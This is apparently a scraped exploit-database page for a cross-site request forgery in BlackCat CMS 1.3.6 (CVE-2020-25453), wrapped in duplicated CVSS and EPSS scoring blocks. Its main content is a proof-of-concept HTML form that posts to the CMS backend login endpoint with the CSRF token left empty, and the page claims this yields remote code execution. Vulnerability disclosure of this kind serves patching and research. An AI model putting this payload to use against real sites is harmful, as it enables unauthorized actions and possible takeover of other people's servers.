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NothEDB-ID:48820

HistorySep 21, 2020 - 12:00 a.m.

BlackCat CMS 1.3.6 - Cross-Site Request Forgery

2020-09-2100:00:00

Noth

www.exploit-db.com

205

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.013

Percentile

85.8%

JSON

# Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
# Date: 2020-06-01
# Exploit Author: Noth
# Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS
# Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
# Version: v1.3.6
# CVE : CVE-2020-25453

BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that
allows remote arbitrary code execution .

PoC (Remove the csrf_token value) :

<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
-------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“
http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php
”method=“POST”>
<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
<input type=“hidden” name=“username&#95;fieldname”
value=“username&#95;274807982ed4”/>
<input type=“hidden” name=“password&#95;fieldname”
value=“password&#95;75868428f837”/>
<input type=“hidden” name=“&#95;cat&#95;ajax” value=“1”/>
<input type=“hidden” name=“username&#95;274807982ed4” value=“accountname”/>
<input type=“hidden” name=“password&#95;75868428f837” value=“yourpassword”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html>

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.013

Percentile

85.8%

JSON

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